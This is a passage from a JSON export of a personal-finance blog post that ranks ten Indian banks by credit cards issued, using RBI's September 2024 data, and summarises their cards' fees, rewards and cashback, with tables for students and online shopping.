{"id":6107,"date":"2024-11-23T10:41:55","date_gmt":"2024-11-23T10:41:55","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=6107"},"modified":"2024-11-23T10:42:26","modified_gmt":"2024-11-23T10:42:26","slug":"best-credit-cards-in-india","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/best-credit-cards-in-india\/","title":{"rendered":"10 Best Credit Cards in India: Earn Rewards, Save More, and Spend Smarter!"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/best-credit-cards-in-india\/#Best_Credit_Cards_in_India_Based_on_RBIs_September_2024_Bank_Data\" >Best Credit Cards in India: Based on RBI\u2019s September 2024 Bank Data<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/best-credit-cards-in-india\/#Best_Credit_Cards_in_India_2024_Features_and_USPs\" >Best Credit Cards in India 2024: Features and USPs<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/best-credit-cards-in-india\/#HDFC_Bank_Pvt_Ltd_Best_Credit_Card_Company_in_India\" >HDFC Bank Pvt Ltd: Best Credit Card Company in India<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/best-credit-cards-in-india\/#STATE_BANK_OF_INDIA-_SBI_Best_Credit_Cards_in_India\" >STATE BANK OF INDIA- SBI: Best Credit Cards in India<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/best-credit-cards-in-india\/#ICICI_Best_Credit_Card_in_India_for_Salaried_Persons\" >ICICI: Best Credit Card in India for Salaried Persons<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/best-credit-cards-in-india\/#Axis_Bank_Ltd_Best_Credit_Cards_in_India\" >Axis Bank Ltd: Best Credit Cards in India<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/best-credit-cards-in-india\/#Kotak_Mahindra_Bank_Ltd_Best_Credit_Card_For_Students\" >Kotak Mahindra Bank Ltd: Best Credit Card For Students<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/shoonya.com\/blog\/best-credit-cards-in-india\/#RBL_Bank_Exclusive_Credit_Cards_in_India\" >RBL Bank: Exclusive Credit Cards in India<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/shoonya.com\/blog\/best-credit-cards-in-india\/#IndusInd_Bank_Top_Credit_Cards_in_India\" >IndusInd Bank: Top Credit Cards in India<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/shoonya.com\/blog\/best-credit-cards-in-india\/#IDFC_First_Bank_Best_Credit_Cards_for_Students\" >IDFC First Bank: Best Credit Cards for Students<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/shoonya.com\/blog\/best-credit-cards-in-india\/#Bank_of_Baroda_Best_Credit_Cards_in_India\" >Bank of Baroda: Best Credit Cards in India<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/shoonya.com\/blog\/best-credit-cards-in-india\/#YES_Bank_Best_Credit_Cards\" >YES Bank: Best Credit Cards<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/shoonya.com\/blog\/best-credit-cards-in-india\/#Which_are_the_Best_Credit_Cards_for_Students_in_India\" >Which are the Best Credit Cards for Students in India<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/shoonya.com\/blog\/best-credit-cards-in-india\/#Best_Credit_Card_for_Online_Shopping_in_India\" >Best Credit Card for Online Shopping in India<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/shoonya.com\/blog\/best-credit-cards-in-india\/#How_to_Choose_the_Best_Credit_Card_in_India\" >How to Choose the Best Credit Card in India<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"https:\/\/shoonya.com\/blog\/best-credit-cards-in-india\/#FAQs_Best_Credit_Cards_for_Salaried_Persons_and_Students\" >FAQs: Best Credit Cards for Salaried Persons and Students<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/personal-finance\/\">Personal Finance<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>10 Best Credit Cards in India: Earn Rewards, Save More, and Spend Smarter!<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Here, we bring you the list of the 10 best credit cards in India for every need \u2013 from fuel savings to shopping rewards. Let\u2019s find you the best credit card for your personal needs!&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Credit cards have become one of the most convenient and rewarding ways to pay today. With options like Google Pay, debit cards, and credit cards, India is moving towards a cashless society. Many of us want to save more without making big changes to our spending habits. That is why finding the best credit card has become an important task for almost everyone. Whether it\u2019s for movies, fuel, trips or occasional online shopping, the benefits of credit cards are plenty.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">But with so many choices, how do you pick the best credit card for your needs? Which exactly is the best credit card for online shopping? Or which credit card company is the most reliable?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In this post, we\u2019ve listed the top 10 credit cards in India, each offering great features like cashback, fuel discounts, and rewards on bill payments.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Why This List is Helpful<\/strong><strong><br><\/strong>Our curated list of the best credit cards in India in 2024 makes it easy to compare and choose:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The best credit cards for salaried individuals,<\/li>\n\n\n\n<li>The best credit cards for online shopping, and<\/li>\n\n\n\n<li>The best credit cards for students.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Read on to find the best credit card that best matches your spending style!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let us begin!<\/p>\n\n\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"896\" src=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/07\/Top-10-Credit-Cards-in-India-2024-1024x896.jpg\" alt=\"top 10 credit cards in india\" class=\"wp-image-9921\" srcset=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/07\/Top-10-Credit-Cards-in-India-2024-1024x896.jpg 1024w, https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/07\/Top-10-Credit-Cards-in-India-2024-300x263.jpg 300w, https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/07\/Top-10-Credit-Cards-in-India-2024-768x672.jpg 768w, https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/07\/Top-10-Credit-Cards-in-India-2024-1536x1344.jpg 1536w, https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/07\/Top-10-Credit-Cards-in-India-2024-2048x1792.jpg 2048w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><figcaption class=\"wp-element-caption\">top 10 credit cards in india<\/figcaption><\/figure>\n<\/div>\n\n\n<h2 class=\"wp-block-heading\" id=\"0-best-credit-cards-in-india-based-on-rbi%E2%80%99s-september-2024-bank-data\"><span class=\"ez-toc-section\" id=\"Best_Credit_Cards_in_India_Based_on_RBIs_September_2024_Bank_Data\"><\/span>Best Credit Cards in India: Based on RBI\u2019s September 2024 Bank Data<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">We have created this list of the best credit cards in India based on the latest RBI data on the number of credit cards issued\/held by these banks as of September 2024.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Rank<\/strong><\/td><td><strong>Bank Name<\/strong><\/td><td><strong>Credit Cards<\/strong><\/td><td><strong>Type<\/strong><\/td><\/tr><tr><td>1<\/td><td>HDFC BANK LTD<\/td><td>22405188<\/td><td>Private<\/td><\/tr><tr><td>2<\/td><td>STATE BANK OF INDIA<\/td><td>19586884<\/td><td>Public<\/td><\/tr><tr><td>3<\/td><td>ICICI BANK LTD<\/td><td>17562210<\/td><td>Private<\/td><\/tr><tr><td>4<\/td><td>AXIS BANK LTD<\/td><td>14792226<\/td><td>Private<\/td><\/tr><tr><td>5<\/td><td>KOTAK MAHINDRA BANK LTD<\/td><td>5305046<\/td><td>Private<\/td><\/tr><tr><td>6<\/td><td>RBL BANK LTD<\/td><td>5218099<\/td><td>Private<\/td><\/tr><tr><td>7<\/td><td>IDFC FIRST BANK LTD<\/td><td>3076601<\/td><td>Private<\/td><\/tr><tr><td>8<\/td><td>INDUSIND BANK LTD<\/td><td>3022768<\/td><td>Private<\/td><\/tr><tr><td>9<\/td><td>BANK OF BARODA<\/td><td>2808405<\/td><td>Public<\/td><\/tr><tr><td>10<\/td><td>YES BANK LTD<\/td><td>2291974<\/td><td>Private<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"1-best-credit-cards-in-india-2024-features-and-usps\"><span class=\"ez-toc-section\" id=\"Best_Credit_Cards_in_India_2024_Features_and_USPs\"><\/span>Best Credit Cards in India 2024: Features and USPs<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Let us understand the key features of these best credit cards in India offered by public and private banks.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"2-hdfc-bank-pvt-ltd-best-credit-card-company-in-india\"><span class=\"ez-toc-section\" id=\"HDFC_Bank_Pvt_Ltd_Best_Credit_Card_Company_in_India\"><\/span>HDFC Bank Pvt Ltd: Best Credit Card Company in India<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">As per the list shared by RBI, on the basis of the maximum number of credit card holders, HDFC stands at the top. There is no doubt why it is one of the best credit cards in India, offering options for travelling, shopping, and more.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">When you sign up for an HDFC Bank Credit Card, you get special benefits as a new cardholder. If you shop abroad, selected HDFC Bank Credit Cards offer competitive foreign currency rates.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">HDFC Bank offers the best credit card in India for salaried persons.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Millennia Credit Card<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">This is one of the best credit cards for students in India. It offers 5% cashback on Amazon, BookMyShow, Flipkart, Myntra, Sony LIV, Swiggy, Tata CLiQ, Uber, and Zomato.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>What&#8217;s more?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">You can get \u20b91,000 worth of gift vouchers for spending \u20b91,00,000 or more each quarter.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Paytm HDFC Bank Digital Credit Card<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">This card gives up to 2% accelerated cashback on Scan &amp; Pay. You get up to 2% cashback on Swiggy, and Uber spends<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>MoneyBack Credit Card<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">This card gives you two reward points for every \u20b9150 spent. You get 2x reward points for shopping online.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"3-state-bank-of-india-sbi-best-credit-cards-in-india\"><span class=\"ez-toc-section\" id=\"STATE_BANK_OF_INDIA-_SBI_Best_Credit_Cards_in_India\"><\/span>STATE BANK OF INDIA- SBI: Best Credit Cards in India<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Second on the list of the best credit cards in India, SBI offers some unique credit cards.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>SBI Card ELITE<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">When you join, you get a welcome e-gift voucher worth Rs. 5,000. You also get free movie tickets worth Rs. 6,000 every year.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>SBI Card PULSE<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">When you join, you earn 5X reward points for spending at chemists, pharmacies, dining, and movies. Receive an e-voucher worth Rs. 1,500 by spending Rs. 4 lakh in one year.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Doctor&#8217;s SBI Card (in association with IMA)<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">This card offers a professional indemnity insurance cover of Rs. 20 lakhs. You get an e-gift voucher worth Rs. 1,500 when you join.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>SBI Card ELITE Advantage<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This card offers a welcome e-gift voucher worth Rs. 5,000 when you join. You also get free movie tickets worth Rs. 6,000 each year.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"4-icici-best-credit-card-in-india-for-salaried-persons\"><span class=\"ez-toc-section\" id=\"ICICI_Best_Credit_Card_in_India_for_Salaried_Persons\"><\/span>ICICI: Best Credit Card in India for Salaried Persons<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Let&#8217;s discover some of the best credit cards in India offered by ICICI Bank.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Platinum Credit Card<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">There are no joining or annual fees. You will earn two reward points per Rs. 100 spent, except on fuel.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Coral Credit Card<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">You can get a 25% discount on movie tickets twice a month on BookMyShow and Inox. You also receive one complimentary railway and domestic airport lounge access per quarter.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"5-axis-bank-ltd-best-credit-cards-in-india\"><span class=\"ez-toc-section\" id=\"Axis_Bank_Ltd_Best_Credit_Cards_in_India\"><\/span>Axis Bank Ltd: Best Credit Cards in India<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Axis Bank has one of the top 10 credit cards in India. It has the best credit cards for different needs like shopping, movies, lifestyle, and travel.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Here are some popular credit cards for salaried individuals:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Flipkart Axis Bank Credit Card<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Great for shopping.<\/li>\n\n\n\n<li>Offers Rs 600 as welcome benefits.<\/li>\n\n\n\n<li>Has a joining and annual fee of Rs 500 each.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Neo Credit Card<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>No joining and annual fee (limited offer on selected channels).<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Indian Oil Axis Bank Credit Card<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Get up to Rs 250 cashback on fuel spending.<\/li>\n\n\n\n<li>Has a joining and annual fee of Rs 500 each.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"6-kotak-mahindra-bank-ltd-best-credit-card-for-students\"><span class=\"ez-toc-section\" id=\"Kotak_Mahindra_Bank_Ltd_Best_Credit_Card_For_Students\"><\/span>Kotak Mahindra Bank Ltd: Best Credit Card For Students<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Here are some of the best credit cards from Kotak Mahindra:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Myntra Kotak Credit Card<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">You must pay INR 500 as a membership fee and annual fee. The benefits of credit card include a 7.5% instant discount on Myntra. Earn 5% cashback on Swiggy, Swiggy Instamart, PVR, Cleartrip, and Urban Company.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>PVR INOX Kotak Credit Card<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Ranked one of the best credit cards in India, this one charges no joining fee and INR 499 annual fee. You can also get one free movie ticket for every INR 10,000 spent.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Kotak UPI RuPay Credit Card<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">There is no joining fee or annual fee. It&#8217;s a virtual lifetime free credit card.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Kotak 811 #DreamDifferent Credit Card is the best credit card for students.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"7-rbl-bank-exclusive-credit-cards-in-india\"><span class=\"ez-toc-section\" id=\"RBL_Bank_Exclusive_Credit_Cards_in_India\"><\/span>RBL Bank: Exclusive Credit Cards in India<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">RBL Bank offers over 25 credit cards across categories like cashback, entertainment, rapid rewards, and travel\/lifestyle.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The <strong>IndianOil RBL Bank XTRA Credit Card<\/strong> is a great choice for those who frequently fuel up at IOCL stations.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>You can earn up to 8.5% savings on IOCL fuel spending and get 15 Fuel Points per \u20b9100 spent on fuel.<\/li>\n\n\n\n<li>Receive 2 Fuel Points per \u20b9100 spent on other purchases.<\/li>\n\n\n\n<li>Get 3,000 welcome Fuel Points when you make your first spend of \u20b9500 or more within 30 days.<\/li>\n\n\n\n<li>The annual fee is waived if you spend \u20b92.75 lakh annually.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">The best credit cards in India by RBL Bank include:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>ShopRite Credit Card<\/strong>: 10% movie discount.<\/li>\n\n\n\n<li><strong>World Safari Card<\/strong>: 0% markup on foreign transactions.<\/li>\n\n\n\n<li><strong>Platinum Maxima Plus Credit Card<\/strong>: 10,000 welcome points.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"8-indusind-bank-top-credit-cards-in-india\"><span class=\"ez-toc-section\" id=\"IndusInd_Bank_Top_Credit_Cards_in_India\"><\/span>IndusInd Bank: Top Credit Cards in India<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Ranked among one of the top credit card companies in India, IndusInd Bank offers various types of credit cards.<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>IndusInd Bank Legend Credit Card<\/strong>\n<ul class=\"wp-block-list\">\n<li><strong>Annual Fee<\/strong>: No fee<\/li>\n\n\n\n<li><strong>Reward Points<\/strong>: You earn <strong>2 reward points<\/strong> for every \u20b9100 you spend on weekends. This is great for those who do a lot of weekend shopping!<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>IndusInd Platinum Credit Card<\/strong>\n<ul class=\"wp-block-list\">\n<li><strong>Annual Fee<\/strong>: No fee<\/li>\n\n\n\n<li><strong>Reward Points<\/strong>: You earn <strong>1.5 reward points<\/strong> for every \u20b9150 spent. This is perfect for everyday expenses.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>IndusInd Bank Platinum Aura Edge Credit Card<\/strong>\n<ul class=\"wp-block-list\">\n<li><strong>Annual Fee<\/strong>: No fee<\/li>\n\n\n\n<li><strong>Reward Points<\/strong>: Earn <strong>up to 4 reward points<\/strong> for every \u20b9100 spent in select categories like dining, shopping, or travel. It&#8217;s a good choice if you spend more in these categories.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Club Vistara IndusInd Bank Explorer Credit Card<\/strong>\n<ul class=\"wp-block-list\">\n<li><strong>Annual Fee<\/strong>: \u20b910,000<\/li>\n\n\n\n<li><strong>Reward Points<\/strong>: You get <strong>up to 8 CV points<\/strong> for every \u20b9200 spent. This card is ideal for frequent flyers, as you can redeem points for flights and upgrades.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>IndusInd Bank Duo Credit Card<\/strong>\n<ul class=\"wp-block-list\">\n<li><strong>Annual Fee<\/strong>: No fee<\/li>\n\n\n\n<li><strong>Reward Points<\/strong>: Earn <strong>1 reward point<\/strong> for every \u20b9150 spent. It&#8217;s a simple card for those who want to earn rewards for their everyday spending.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"9-idfc-first-bank-best-credit-cards-for-students\"><span class=\"ez-toc-section\" id=\"IDFC_First_Bank_Best_Credit_Cards_for_Students\"><\/span>IDFC First Bank: Best Credit Cards for Students<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">IDFC First Bank is one of the most favoured top credit card companies in India.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">IDFC FIRST WOW Credit Card is the perfect option for students.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>First Wealth Credit Card- <\/strong>Up to 36 Reward Points on online spending, six domestic lounge visits quarterly, Buy 1 Get 1 Free on BookMyShow.<\/li>\n\n\n\n<li><strong>RESERVE Credit Card- <\/strong>Up to 24 Reward Points, three domestic lounge visits quarterly, 25% off on BookMyShow.<\/li>\n\n\n\n<li><strong>ELITE Premium Card- <\/strong>Up to 12 Reward Points, 2 domestic lounge visits quarterly, 25% off on BookMyShow.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"10-bank-of-baroda-best-credit-cards-in-india\"><span class=\"ez-toc-section\" id=\"Bank_of_Baroda_Best_Credit_Cards_in_India\"><\/span>Bank of Baroda: Best Credit Cards in India<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">If you are looking to get the best credit card from a public bank, the Bank of Baroda could be the right choice.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Best Credit Card<\/strong><\/td><td><strong>Who It&#8217;s For<\/strong><\/td><td><strong>What You Get<\/strong><\/td><\/tr><tr><td><strong>Eterna Card<\/strong><\/td><td>High performers who enjoy lifestyle and travel perks.<\/td><td>Unlimited lounge access, BOGO movie tickets, and reward points for lifestyle upgrades, travel, and more.<\/td><\/tr><tr><td><strong>Premier Card<\/strong><\/td><td>Adventurous travellers who love exploring.<\/td><td>Travel deals, benefits, and a fee waiver to enhance your journeys.<\/td><\/tr><tr><td><strong>HPCL Energie Card<\/strong><\/td><td>Road trippers and those always on the move.<\/td><td>Up to 80 litres of free fuel, 25% off on movie tickets, and other rewards for an active lifestyle.<\/td><\/tr><tr><td><strong>One BOBCARD<\/strong><\/td><td>Those who love ease and functionality with a sleek metal card.<\/td><td>Unlimited shopping rewards, airport lounge access, and card management through a dedicated app.<\/td><\/tr><tr><td><strong>IRCTC BOBCARD<\/strong><\/td><td>Regular train travellers.<\/td><td>Up to 10% savings on train tickets, shopping rewards, and bonus points to make your train journeys more rewarding.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Each card is designed with unique features for different lifestyles\u2014whether you&#8217;re a frequent traveller, a shopper, or someone who just enjoys a premium experience!&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"11-yes-bank-best-credit-cards\"><span class=\"ez-toc-section\" id=\"YES_Bank_Best_Credit_Cards\"><\/span>YES Bank: Best Credit Cards<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The best credit cards in India by YES Bank include:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Lifetime-Free Credit Card<\/strong>: No annual or joining fees.<\/li>\n\n\n\n<li><strong>Power of UPI Payments<\/strong>: Use UPI directly with your credit card.<\/li>\n\n\n\n<li><strong>Accelerated Reward Points<\/strong>: Earn more rewards on UPI and other spending.<\/li>\n\n\n\n<li><strong>Instant EMI and EMI on Call<\/strong>: Flexible options for transactions starting from INR 1500.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"12-which-are-the-best-credit-cards-for-students-in-india-\"><span class=\"ez-toc-section\" id=\"Which_are_the_Best_Credit_Cards_for_Students_in_India\"><\/span><strong>Which are the Best Credit Cards for Students in India<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Students in India have several options for credit cards.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Credit Card<\/strong><\/td><td><strong>Benefits<\/strong><\/td><\/tr><tr><td><strong>IDFC FIRST WOW! Credit Card<\/strong><\/td><td>&#8211; Earn 7.5% interest on Fixed Deposit (FD).- Get 4X Reward Points on all credit card transactions.- High credit limit with no joining or annual fees.- Immediate 100% ATM cash withdrawal limit.- The activation bonus of 500 reward points is available after spending Rs. 5,000.<\/td><\/tr><tr><td><strong>ICICI Student Forex Prepaid Card<\/strong><\/td><td>&#8211; Joining benefits worth INR 5,000.- Includes an ISIC membership worth INR 999.- A complimentary international SIM card is required for overseas travel.- Coverage for lost or counterfeit cards with liability protection up to INR 5,00,000.<\/td><\/tr><tr><td><strong>Kotak Mahindra 811 #DreamDifferent Credit Card<\/strong><\/td><td>&#8211; Interest-free cash withdrawals for up to 48 days.- High credit limit up to Rs. 16 lakhs, known upfront at the time of application.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"13-best-credit-card-for-online-shopping-in-india-\"><span class=\"ez-toc-section\" id=\"Best_Credit_Card_for_Online_Shopping_in_India\"><\/span><strong>Best Credit Card for Online Shopping in India<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">If you are looking for the best credit card for online shopping, you can choose one from the options below.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">There are multiple types of cards issued by these best credit card companies in India.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Bank<\/strong><\/td><td><strong>Best Credit Cards<\/strong><\/td><\/tr><tr><td><strong>HDFC Bank Ltd<\/strong><\/td><td>&#8211; HDFC Millennia Credit Card- HDFC Moneyback+ Credit Card- HDFC Diners Club Privilege Credit Card<\/td><\/tr><tr><td><strong>State Bank of India<\/strong><\/td><td>&#8211; Cashback SBI Card- Amazon Pay ICICI Credit Card- SBI SimplyCLICK Credit Card<\/td><\/tr><tr><td><strong>ICICI Bank Ltd<\/strong><\/td><td>&#8211; Amazon Pay ICICI Credit Card- ICICI Bank Sapphiro Credit Card<\/td><\/tr><tr><td><strong>Axis Bank Ltd<\/strong><\/td><td>&#8211; Flipkart Axis Bank Credit Card- Axis Bank ACE Credit Card- Axis Bank Buzz Credit Card<\/td><\/tr><tr><td><strong>Kotak Mahindra Bank Ltd<\/strong><\/td><td>&#8211; Kotak PVR Platinum Credit Card- Kotak Indigo Ka-Ching 6E Rewards Credit Card- Kotak White Credit Card- Kotak Cookies Credit Card<\/td><\/tr><tr><td><strong>RBL Bank Ltd<\/strong><\/td><td>&#8211; ShopRite Credit Card- Icon Credit Card- Platinum Maxima Plus Credit Card<\/td><\/tr><tr><td><strong>YES Bank Ltd<\/strong><\/td><td>&#8211; YES FIRST Preferred Credit Card- YES FIRST Exclusive Credit Card- YES Premia Credit Card- YES Prosperity Edge Credit Card<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">This ends our list of top 10 credit cards in India.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However, there&#8217;s more to learn before you choose the best credit card in India.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"14-how-to-choose-the-best-credit-card-in-india-\"><span class=\"ez-toc-section\" 